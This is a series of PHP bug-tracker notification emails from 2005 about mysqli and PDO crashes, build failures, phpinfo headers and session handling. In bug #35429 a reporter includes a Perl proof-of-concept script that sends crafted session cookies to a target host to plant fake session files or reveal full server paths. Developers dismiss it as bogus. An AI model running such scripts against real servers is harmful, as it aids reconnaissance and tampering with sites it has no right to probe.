Please, instead of adding me too! comments try to make a research and
find the cause.
Previous Comments:
[2005-11-27 21:24:43] dooshek at desmart dot com
I have the same problem with the same script. My env:
Windows XP SP2
Apache 2.0.55
MySQL 5.0.15
PHP 5.0.5
My Apache hangs during script execution.
[2005-11-27 21:20:36] [EMAIL PROTECTED]
I can't reproduce it.
Can you try it on an *nix OS ?
[2005-11-27 21:12:56] marcing at smlw dot pl
Description:
Env:
Windows XP SP2
Apache 2.0.48 / 2.0.55 (not relevant)
MySQL 5.0.16
PHP 5.0.3 /5.1 (not relevant)
MySQLi
Important: Problem is related to MySQLi when using MySQL version 5
only, it doesn't occur with version 4.
Reproduce code:
---
?php
$db = new mysqli(...);
if($stmt = $db-prepare('SELECT SUM(visitors) FROM core_stats')) {
$stmt-execute();
$stmt-bind_result($total);
$stmt-close();
}
?
The problem occurs when using SUM() in query, endless loop seems to
start when $stmt-bind_result($total) is invoked and as a result Apache
crashes.
Database reproduction code:
--
CREATE TABLE `core_stats` (
`id` int(10) unsigned NOT NULL auto_increment,
`day_of_week` int(1) unsigned NOT NULL default '0',
`day_of_month` int(2) unsigned NOT NULL default '0',
`m` int(2) unsigned NOT NULL default '0',
`y` int(4) unsigned NOT NULL default '0',
`visitors` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `core_stats` VALUES (1, 2, 5, 7, 2005, 1);
INSERT INTO `core_stats` VALUES (2, 3, 6, 7, 2005, 6);
INSERT INTO `core_stats` VALUES (3, 4, 7, 7, 2005, 7);
INSERT INTO `core_stats` VALUES (4, 5, 8, 7, 2005, 1);
Expected result:
It should work as it worked on MySQL 4.
Actual result:
--
Internal Server Error
--
Edit this bug report at http://bugs.php.net/?id=35428edit=1
#35431 [NEW]: PDO crashes on FETCH_LAZY and fetchAll
From: stochnagara at hotmail dot com Operating system: windows xp PHP version: 5.1.0 PHP Bug Type: PDO related Bug description: PDO crashes on FETCH_LAZY and fetchAll Description: PHP crashes when FETCH_LAZY is used in combination with fetchAll. See the sample below. Reproduce code: --- ? $pdo = new PDO(sqlite::memory:); $pdo-query (CREATE TABLE test (a integer primary key, b text, c integer)); $pdo-query(insert into test (b, c) values (1, 2)); var_dump($pdo-query (select a, b, c from test)-fetchAll(PDO::FETCH_LAZY)); Expected result: no error Actual result: -- Apache crashes -- Edit bug report at http://bugs.php.net/?id=35431edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35431r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=35431r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=35431r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=35431r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=35431r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=35431r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=35431r=needscript Try newer version: http://bugs.php.net/fix.php?id=35431r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=35431r=support Expected behavior: http://bugs.php.net/fix.php?id=35431r=notwrong Not enough info: http://bugs.php.net/fix.php?id=35431r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=35431r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=35431r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35431r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=35431r=dst IIS Stability: http://bugs.php.net/fix.php?id=35431r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=35431r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=35431r=float No Zend Extensions: http://bugs.php.net/fix.php?id=35431r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=35431r=mysqlcfg
#35430 [Opn-Csd]: PDO crashes apache on incorrect FETCH_FUNC use.
ID: 35430 Updated by: [EMAIL PROTECTED] Reported By: stochnagara at hotmail dot com -Status: Open +Status: Closed Bug Type: PDO related Operating System: windows xp PHP Version: 5.1.0 New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2005-11-27 21:26:23] stochnagara at hotmail dot com Description: When PDO::FETCH_FUNC is used without passing the function name as additional argument, Apache crashes. Reproduce code: --- ? $pdo = new PDO(sqlite::memory:); $pdo-query (CREATE TABLE test (a integer primary key)); $pdo-query (select a from test)-fetchAll(PDO::FETCH_FUNC); Expected result: no error Actual result: -- Apache crashes. -- Edit this bug report at http://bugs.php.net/?id=35430edit=1
#35431 [Opn-Csd]: PDO crashes on FETCH_LAZY and fetchAll
ID: 35431 Updated by: [EMAIL PROTECTED] Reported By: stochnagara at hotmail dot com -Status: Open +Status: Closed Bug Type: PDO related Operating System: windows xp PHP Version: 5.1.0 New Comment: This bug has been fixed in CVS. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. Thank you for the report, and for helping us make PHP better. Previous Comments: [2005-11-27 21:42:33] stochnagara at hotmail dot com Description: PHP crashes when FETCH_LAZY is used in combination with fetchAll. See the sample below. Reproduce code: --- ? $pdo = new PDO(sqlite::memory:); $pdo-query (CREATE TABLE test (a integer primary key, b text, c integer)); $pdo-query(insert into test (b, c) values (1, 2)); var_dump($pdo-query (select a, b, c from test)-fetchAll(PDO::FETCH_LAZY)); Expected result: no error Actual result: -- Apache crashes -- Edit this bug report at http://bugs.php.net/?id=35431edit=1
#35432 [NEW]: PHP make fails with PDO and MySQL5
From: mailREMOVE_NOSPAM at philipp-wagner dot com Operating system: SuSE Linux 8.0 PHP version: 5CVS-2005-11-27 (snap) PHP Bug Type: Compile Failure Bug description: PHP make fails with PDO and MySQL5 Description: I get the same error as in bug #34939 with PHP 5.1.0 (official release) and also today's snapshot release. During the final linking process of make, I get the following error: ext/pdo_mysql/.libs/pdo_mysql.o: In function `zm_startup_pdo_mysql': /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:78: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:79: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:80: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:81: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:82: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:84: undefined referen ce to `php_pdo_register_driver' ext/pdo_mysql/.libs/pdo_mysql.o: In function `zm_shutdown_pdo_mysql': /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:92: undefined referen ce to `php_pdo_unregister_driver' ext/pdo_mysql/.libs/mysql_driver.o: In function `_pdo_mysql_error': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_driver.c:109: undefined ref erence to `php_pdo_get_exception' ext/pdo_mysql/.libs/mysql_driver.o: In function `mysql_handle_preparer': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_driver.c:178: undefined ref erence to `pdo_parse_params' ext/pdo_mysql/.libs/mysql_driver.o: In function `pdo_mysql_last_insert_id': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_driver.c:259: undefined ref erence to `php_pdo_int64_to_str' ext/pdo_mysql/.libs/mysql_driver.o: In function `pdo_mysql_handle_factory': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_driver.c:412: undefined ref erence to `php_pdo_parse_data_source' ext/pdo_mysql/.libs/mysql_statement.o: In function `pdo_mysql_stmt_param_hook': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_statement.c:338: undefined reference to `pdo_raise_impl_error' ext/pdo_sqlite/.libs/pdo_sqlite.o: In function `zm_startup_pdo_sqlite': /usr/local/src/php5-200511271530/ext/pdo_sqlite/pdo_sqlite.c:80: undefined refer ence to `php_pdo_register_driver' ext/pdo_sqlite/.libs/pdo_sqlite.o: In function `zm_shutdown_pdo_sqlite': /usr/local/src/php5-200511271530/ext/pdo_sqlite/pdo_sqlite.c:87: undefined refer ence to `php_pdo_unregister_driver' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `_pdo_sqlite_error': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:78: undefined re ference to `php_pdo_get_exception' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `pdo_sqlite_last_insert_id': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:197: undefined r eference to `php_pdo_int64_to_str' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `zif_SQLite_sqliteCreateFuncti on': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:471: undefined r eference to `pdo_raise_impl_error' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `zif_SQLite_sqliteCreateAggreg ate': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:543: undefined r eference to `pdo_raise_impl_error' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `pdo_sqlite_handle_factory': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:697: undefined r eference to `php_pdo_get_exception' ext/pdo_sqlite/.libs/sqlite_statement.o: In function `pdo_sqlite_stmt_param_hook ': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_statement.c:116: undefine d reference to `pdo_raise_impl_error' ext/sqlite/.libs/sqlite.o: In function `zm_startup_sqlite': /usr/local/src/php5-200511271530/ext/sqlite/sqlite.c:1100: undefined reference t o `php_pdo_register_driver' ext/sqlite/.libs/sqlite.o: In function `zm_shutdown_sqlite': /usr/local/src/php5-200511271530/ext/sqlite/sqlite.c:1113: undefined reference to `php_pdo_unregister_driver' ext/sqlite/.libs/pdo_sqlite2.o: In function `_pdo_sqlite2_error': /usr/local/src/php5-200511271530/ext/sqlite/pdo_sqlite2.c:291: undefined reference to `php_pdo_get_exception' ext/sqlite/.libs/pdo_sqlite2.o: In function `pdo_sqlite2_last_insert_id': /usr/local/src/php5-200511271530/ext/sqlite/pdo_sqlite2.c:373: undefined reference to `php_pdo_int64_to_str' ext/sqlite/.libs/pdo_sqlite2.o: In function `pdo_sqlite2_handle_factory': /usr/local/src/php5-200511271530/ext/sqlite/pdo_sqlite2.c:579: undefined reference to `php_pdo_get_exception' Reproduce code: --- I am using MySQL 5.0.16 and my configure line was as follows: './configure' '--enable-trans-sid' '--enable-memory-limit' '--with-config-file-path=/etc' '--enable-xslt'
#35432 [Opn-Asn]: PHP make fails with PDO and MySQL5
ID: 35432 Updated by: [EMAIL PROTECTED] Reported By: mailREMOVE_NOSPAM at philipp-wagner dot com -Status: Open +Status: Assigned Bug Type: Compile Failure Operating System: SuSE Linux 8.0 PHP Version: 5CVS-2005-11-27 (snap) -Assigned To: +Assigned To: wez New Comment: Wez, one more for you. Previous Comments: [2005-11-27 22:31:06] mailREMOVE_NOSPAM at philipp-wagner dot com Description: I get the same error as in bug #34939 with PHP 5.1.0 (official release) and also today's snapshot release. During the final linking process of make, I get the following error: ext/pdo_mysql/.libs/pdo_mysql.o: In function `zm_startup_pdo_mysql': /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:78: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:79: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:80: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:81: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:82: undefined referen ce to `php_pdo_declare_long_constant' /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:84: undefined referen ce to `php_pdo_register_driver' ext/pdo_mysql/.libs/pdo_mysql.o: In function `zm_shutdown_pdo_mysql': /usr/local/src/php5-200511271530/ext/pdo_mysql/pdo_mysql.c:92: undefined referen ce to `php_pdo_unregister_driver' ext/pdo_mysql/.libs/mysql_driver.o: In function `_pdo_mysql_error': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_driver.c:109: undefined ref erence to `php_pdo_get_exception' ext/pdo_mysql/.libs/mysql_driver.o: In function `mysql_handle_preparer': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_driver.c:178: undefined ref erence to `pdo_parse_params' ext/pdo_mysql/.libs/mysql_driver.o: In function `pdo_mysql_last_insert_id': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_driver.c:259: undefined ref erence to `php_pdo_int64_to_str' ext/pdo_mysql/.libs/mysql_driver.o: In function `pdo_mysql_handle_factory': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_driver.c:412: undefined ref erence to `php_pdo_parse_data_source' ext/pdo_mysql/.libs/mysql_statement.o: In function `pdo_mysql_stmt_param_hook': /usr/local/src/php5-200511271530/ext/pdo_mysql/mysql_statement.c:338: undefined reference to `pdo_raise_impl_error' ext/pdo_sqlite/.libs/pdo_sqlite.o: In function `zm_startup_pdo_sqlite': /usr/local/src/php5-200511271530/ext/pdo_sqlite/pdo_sqlite.c:80: undefined refer ence to `php_pdo_register_driver' ext/pdo_sqlite/.libs/pdo_sqlite.o: In function `zm_shutdown_pdo_sqlite': /usr/local/src/php5-200511271530/ext/pdo_sqlite/pdo_sqlite.c:87: undefined refer ence to `php_pdo_unregister_driver' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `_pdo_sqlite_error': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:78: undefined re ference to `php_pdo_get_exception' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `pdo_sqlite_last_insert_id': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:197: undefined r eference to `php_pdo_int64_to_str' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `zif_SQLite_sqliteCreateFuncti on': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:471: undefined r eference to `pdo_raise_impl_error' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `zif_SQLite_sqliteCreateAggreg ate': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:543: undefined r eference to `pdo_raise_impl_error' ext/pdo_sqlite/.libs/sqlite_driver.o: In function `pdo_sqlite_handle_factory': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_driver.c:697: undefined r eference to `php_pdo_get_exception' ext/pdo_sqlite/.libs/sqlite_statement.o: In function `pdo_sqlite_stmt_param_hook ': /usr/local/src/php5-200511271530/ext/pdo_sqlite/sqlite_statement.c:116: undefine d reference to `pdo_raise_impl_error' ext/sqlite/.libs/sqlite.o: In function `zm_startup_sqlite': /usr/local/src/php5-200511271530/ext/sqlite/sqlite.c:1100: undefined reference t o `php_pdo_register_driver' ext/sqlite/.libs/sqlite.o: In function `zm_shutdown_sqlite': /usr/local/src/php5-200511271530/ext/sqlite/sqlite.c:1113: undefined reference to `php_pdo_unregister_driver' ext/sqlite/.libs/pdo_sqlite2.o: In function `_pdo_sqlite2_error': /usr/local/src/php5-200511271530/ext/sqlite/pdo_sqlite2.c:291: undefined reference to `php_pdo_get_exception' ext/sqlite/.libs/pdo_sqlite2.o: In function `pdo_sqlite2_last_insert_id': /usr/local/src/php5-200511271530/ext/sqlite/pdo_sqlite2.c:373: undefined reference to `php_pdo_int64_to_str' ext/sqlite/.libs/pdo_sqlite2.o: In function `pdo_sqlite2_handle_factory':
#35433 [NEW]: phpinfo() function does no send a Content-Type header
From: cyberdog3k at gmail dot com Operating system: Windows Server 2003 PHP version: 5.1.0 PHP Bug Type: Unknown/Other Function Bug description: phpinfo() function does no send a Content-Type header Description: The phpinfo() function does not return a Content-Type header. I found in ext/standard/info.c that the meta http-equiv=\Content-Type\ content=\text/html; charset=%s\ / line is commented out, but there does not seem to be an explanation in the comments for why this is the case. I've verified that no Content-Type header is ever inserted on its way to the client. This poses a problem when validating the results, and would seem to be poor practice even if it's not entirely necessary to have the tag in there. Reproduce code: --- ?php phpinfo(); ? -- Edit bug report at http://bugs.php.net/?id=35433edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=35433r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=35433r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=35433r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=35433r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=35433r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=35433r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=35433r=needscript Try newer version: http://bugs.php.net/fix.php?id=35433r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=35433r=support Expected behavior: http://bugs.php.net/fix.php?id=35433r=notwrong Not enough info: http://bugs.php.net/fix.php?id=35433r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=35433r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=35433r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=35433r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=35433r=dst IIS Stability: http://bugs.php.net/fix.php?id=35433r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=35433r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=35433r=float No Zend Extensions: http://bugs.php.net/fix.php?id=35433r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=35433r=mysqlcfg
#35433 [Opn-Fbk]: phpinfo() function does no send a Content-Type header
ID: 35433 Updated by: [EMAIL PROTECTED] Reported By: cyberdog3k at gmail dot com -Status: Open +Status: Feedback Bug Type: Unknown/Other Function Operating System: Windows Server 2003 PHP Version: 5.1.0 New Comment: Why did you decide it doesn't send it? Did you check it with telnet or something else? From what I can see, the header is there and it's fine: Content-Type: text/html Previous Comments: [2005-11-27 23:20:38] cyberdog3k at gmail dot com Description: The phpinfo() function does not return a Content-Type header. I found in ext/standard/info.c that the meta http-equiv=\Content-Type\ content=\text/html; charset=%s\ / line is commented out, but there does not seem to be an explanation in the comments for why this is the case. I've verified that no Content-Type header is ever inserted on its way to the client. This poses a problem when validating the results, and would seem to be poor practice even if it's not entirely necessary to have the tag in there. Reproduce code: --- ?php phpinfo(); ? -- Edit this bug report at http://bugs.php.net/?id=35433edit=1
#35428 [Opn-Fbk]: using mysqli with MySQL 5.0.16 causes Apache crash
ID: 35428
Updated by: [EMAIL PROTECTED]
Reported By: marcing at smlw dot pl
-Status: Open
+Status: Feedback
Bug Type: MySQLi related
Operating System: WinXP SP2
PHP Version: 5.1.0
New Comment:
You don't have to *upgrade* it, you can install as much MySQL
servers/clients as you want if you place it in different directories.
Previous Comments:
[2005-11-27 23:25:32] marcing at smlw dot pl
Unfortunately i cannot reproduce it on unix at the moment (have to
upgrade the mysql), but
ill gladly provide further information on windows.
hint: it is essential to create a table with content, im not sure if i
provided enough of it;)
[2005-11-27 21:35:49] [EMAIL PROTECTED]
Please, instead of adding me too! comments try to make a research and
find the cause.
[2005-11-27 21:24:43] dooshek at desmart dot com
I have the same problem with the same script. My env:
Windows XP SP2
Apache 2.0.55
MySQL 5.0.15
PHP 5.0.5
My Apache hangs during script execution.
[2005-11-27 21:20:36] [EMAIL PROTECTED]
I can't reproduce it.
Can you try it on an *nix OS ?
[2005-11-27 21:12:56] marcing at smlw dot pl
Description:
Env:
Windows XP SP2
Apache 2.0.48 / 2.0.55 (not relevant)
MySQL 5.0.16
PHP 5.0.3 /5.1 (not relevant)
MySQLi
Important: Problem is related to MySQLi when using MySQL version 5
only, it doesn't occur with version 4.
Reproduce code:
---
?php
$db = new mysqli(...);
if($stmt = $db-prepare('SELECT SUM(visitors) FROM core_stats')) {
$stmt-execute();
$stmt-bind_result($total);
$stmt-close();
}
?
The problem occurs when using SUM() in query, endless loop seems to
start when $stmt-bind_result($total) is invoked and as a result Apache
crashes.
Database reproduction code:
--
CREATE TABLE `core_stats` (
`id` int(10) unsigned NOT NULL auto_increment,
`day_of_week` int(1) unsigned NOT NULL default '0',
`day_of_month` int(2) unsigned NOT NULL default '0',
`m` int(2) unsigned NOT NULL default '0',
`y` int(4) unsigned NOT NULL default '0',
`visitors` int(10) unsigned NOT NULL default '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `core_stats` VALUES (1, 2, 5, 7, 2005, 1);
INSERT INTO `core_stats` VALUES (2, 3, 6, 7, 2005, 6);
INSERT INTO `core_stats` VALUES (3, 4, 7, 7, 2005, 7);
INSERT INTO `core_stats` VALUES (4, 5, 8, 7, 2005, 1);
Expected result:
It should work as it worked on MySQL 4.
Actual result:
--
Internal Server Error
--
Edit this bug report at http://bugs.php.net/?id=35428edit=1
#35433 [Fbk-Csd]: phpinfo() function does no send a Content-Type header
ID: 35433 User updated by: cyberdog3k at gmail dot com Reported By: cyberdog3k at gmail dot com -Status: Feedback +Status: Closed Bug Type: Unknown/Other Function Operating System: Windows Server 2003 PHP Version: 5.1.0 New Comment: This bug is apparently invalid. I was being thrown by the fact that default_charset was commented out by default in php.ini, which was causing php to not send any charset with the header. This was causing validation to fail. This combined with the commented out portion of source led me to the conclusion that the header was missing. My final question would be is it good practice to have PHP sending no charset by default? Maybe this makes it more universal or something in forcing everyone to set it manually? I just feel like I should have been prompted for charset during setup or something, rather than just leaving it out. Maybe worthy of a feature request? Previous Comments: [2005-11-27 23:26:21] [EMAIL PROTECTED] Why did you decide it doesn't send it? Did you check it with telnet or something else? From what I can see, the header is there and it's fine: Content-Type: text/html [2005-11-27 23:20:38] cyberdog3k at gmail dot com Description: The phpinfo() function does not return a Content-Type header. I found in ext/standard/info.c that the meta http-equiv=\Content-Type\ content=\text/html; charset=%s\ / line is commented out, but there does not seem to be an explanation in the comments for why this is the case. I've verified that no Content-Type header is ever inserted on its way to the client. This poses a problem when validating the results, and would seem to be poor practice even if it's not entirely necessary to have the tag in there. Reproduce code: --- ?php phpinfo(); ? -- Edit this bug report at http://bugs.php.net/?id=35433edit=1
#35433 [Csd-Bgs]: phpinfo() function does no send a Content-Type header
ID: 35433 Updated by: [EMAIL PROTECTED] Reported By: cyberdog3k at gmail dot com -Status: Closed +Status: Bogus Bug Type: Unknown/Other Function Operating System: Windows Server 2003 PHP Version: 5.1.0 Previous Comments: [2005-11-27 23:42:36] cyberdog3k at gmail dot com This bug is apparently invalid. I was being thrown by the fact that default_charset was commented out by default in php.ini, which was causing php to not send any charset with the header. This was causing validation to fail. This combined with the commented out portion of source led me to the conclusion that the header was missing. My final question would be is it good practice to have PHP sending no charset by default? Maybe this makes it more universal or something in forcing everyone to set it manually? I just feel like I should have been prompted for charset during setup or something, rather than just leaving it out. Maybe worthy of a feature request? [2005-11-27 23:26:21] [EMAIL PROTECTED] Why did you decide it doesn't send it? Did you check it with telnet or something else? From what I can see, the header is there and it's fine: Content-Type: text/html [2005-11-27 23:20:38] cyberdog3k at gmail dot com Description: The phpinfo() function does not return a Content-Type header. I found in ext/standard/info.c that the meta http-equiv=\Content-Type\ content=\text/html; charset=%s\ / line is commented out, but there does not seem to be an explanation in the comments for why this is the case. I've verified that no Content-Type header is ever inserted on its way to the client. This poses a problem when validating the results, and would seem to be poor practice even if it's not entirely necessary to have the tag in there. Reproduce code: --- ?php phpinfo(); ? -- Edit this bug report at http://bugs.php.net/?id=35433edit=1
#35429 [Fbk-Opn]: problem with sessions..
ID: 35429
User updated by: sienicki dot kamil at gmail dot com
Reported By: sienicki dot kamil at gmail dot com
-Status: Feedback
+Status: Open
Bug Type: Unknown/Other Function
Operating System: Linux/Windows (all?)
PHP Version: 4.4.1
New Comment:
I think it is a small bug when i send '@' as a cookie name session and
php show full path to script.. when display errors is on
Previous Comments:
[2005-11-27 21:29:22] [EMAIL PROTECTED]
What exactly are you trying to exploit?
[2005-11-27 21:22:21] sienicki dot kamil at gmail dot com
Description:
I write simple exploit to show this vuln.. (i think..)
problem with sessions..
--
#!/usr/bin/perl
#
# PHP vulnerabilities..
#
# Exploit (Proof Of Concept ?) by Kamil 'K3' Sienicki
#
# I found two possibility of use that bug.. (maybe more)
#
# display_errors must be On
#
use IO::Socket;
if(@ARGV 3)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print 1. Create fake session file (sess_fake) in directory (default
/tmp). \n;
print 2. Full path disclosure.\n\n;
print Usage: ./php_bug.pl [host] [address] [type of attack (1 or
2)]\n\n;
exit;
}
$socket = IO::Socket::INET-new( Proto = tcp, PeerAddr =
$ARGV[0], PeerPort = 80 ) || die [-] Connect failed! \r\n;
if($ARGV[2] == 1)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print Name of session (default PHPSESSID): ;
$sess = stdin;
print Name of fake sess_file: ;
$fake = stdin;
chomp($sess,$fake);
print $socket GET $ARGV[1] HTTP/1.0\n;
print $socket Cookie: $sess=$fake\n\n;
print '$fake' fake file was created.. \n;
} elsif ($ARGV[2] == 2)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print Name of session (default PHPSESSID): ;
$sess = stdin;
chomp($sess);
print $socket GET $ARGV[1] HTTP/1.0\n;
print $socket Cookie: [EMAIL PROTECTED];
while ($answer = $socket)
{
if ($answer =~ m/^...Warning/)
{
print $answer.\n;
}
}
}
--
Reproduce code:
---
?
session_start();
?
Expected result:
Warning: session_start(): The session id contains invalid characters,
valid characters are only a-z, A-Z and 0-9 in /htdocs/sess.php on line
3
Warning: Unknown(): The session id contains invalid characters, valid
characters are only a-z, A-Z and 0-9 in Unknown on line 0
Warning: Unknown(): Failed to write session data (files). Please verify
that the current setting of session.save_path is correct (/tmp) in
Unknown on line 0
Full path disclosure..
--
Edit this bug report at http://bugs.php.net/?id=35429edit=1
#35409 [Opn-Fbk]: Several compile problems
ID: 35409 Updated by: [EMAIL PROTECTED] Reported By: sales at vivizi dot com -Status: Open +Status: Feedback Bug Type: Compile Failure Operating System: Linux (RH 7.x) PHP Version: 5.1.0 New Comment: Try this: # rm config.cache # ./configure --disable-all --with-openssl Previous Comments: [2005-11-27 20:20:25] sales at vivizi dot com I already tried this. With openSSL it complained about evp.h I reinstall openSSL completely (even upgraded too, also did not work), then evp.h error disappeared. Then I got what you get now (Can not find openSSL files, etc)... Even when I specify all possible paths! Same with libjpeg/png/gd! (--with-jpeg-dir=/usr, etc) [2005-11-27 20:17:19] [EMAIL PROTECTED] Well, I don't see any changes that can cause it, except for the 64bit support that was added in 5.1. And no, I can't reproduce it. So try to see where ./configure seeks for those files and what makes it to fail. [2005-11-27 20:09:18] sales at vivizi dot com No, this happens to be a 32bit. P3-1.0Ghz, 512MB RAM. [2005-11-27 20:05:34] [EMAIL PROTECTED] And this box is a 64-bit one? [2005-11-26 21:01:18] sales at vivizi dot com same box, _right now_ The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/35409 -- Edit this bug report at http://bugs.php.net/?id=35409edit=1
#35403 [Opn-Bgs]: Outdated extension entries in sample ini files.
ID: 35403 Updated by: [EMAIL PROTECTED] Reported By: cyberdog3k at gmail dot com -Status: Open +Status: Bogus Bug Type: PHP options/info functions Operating System: Windows Server 2003 PHP Version: 5.1 New Comment: The listed extensions are just for example. You're required always to edit the php.ini file to match your configuration. Previous Comments: [2005-11-26 04:56:05] cyberdog3k at gmail dot com Description: As of PHP 5.1, the Windows distribution of MySQL comes with two example php.ini files: php.ini-dist and php.ini-recommended. Most of the extensions shipping with 5.1 in the 'ext' directory are listed in the ini files in the Dynamic Extensions section, but this list also has some outdated entries. I've made a comparison of the actual extensions and those in the sample ini's: Listed in the ini but no longer in 5.1: oracle.dll Shipping with 5.1, but not listed in the ini: php_mysqli.dll php_pdo.dll php_pdo_firebird.dll php_pdo_mssql.dll php_pdo_mysql.dll php_pdo_oci.dll php_pdo_oci8.dll php_pdo_odbc.dll php_pdo_pgsql.dll php_pdo_sqlite.dll php_pspell.dll php_soap.dll php_xmlreader.dll Of course it's at the developers' disgression if this is worthy of fixing, but I think it would help improve the consistency of the examples. -- Edit this bug report at http://bugs.php.net/?id=35403edit=1
#35429 [Opn-Bgs]: problem with sessions..
ID: 35429
Updated by: [EMAIL PROTECTED]
Reported By: sienicki dot kamil at gmail dot com
-Status: Open
+Status: Bogus
Bug Type: Unknown/Other Function
Operating System: Linux/Windows (all?)
PHP Version: 4.4.1
New Comment:
Yeah, you can see full path to the script in 99.9% of error
messages.
No bug here.
Previous Comments:
[2005-11-27 23:46:32] sienicki dot kamil at gmail dot com
I think it is a small bug when i send '@' as a cookie name session and
php show full path to script.. when display errors is on
[2005-11-27 21:29:22] [EMAIL PROTECTED]
What exactly are you trying to exploit?
[2005-11-27 21:22:21] sienicki dot kamil at gmail dot com
Description:
I write simple exploit to show this vuln.. (i think..)
problem with sessions..
--
#!/usr/bin/perl
#
# PHP vulnerabilities..
#
# Exploit (Proof Of Concept ?) by Kamil 'K3' Sienicki
#
# I found two possibility of use that bug.. (maybe more)
#
# display_errors must be On
#
use IO::Socket;
if(@ARGV 3)
{
print \n;
print PHP Exploit (POC)\n;
print by Kamil 'K3' Sienicki\n\n;
print 1. Create fake session file (sess_fake) in directory (default
/tmp). \n;
print 2. Full path disclosure.\n\n;
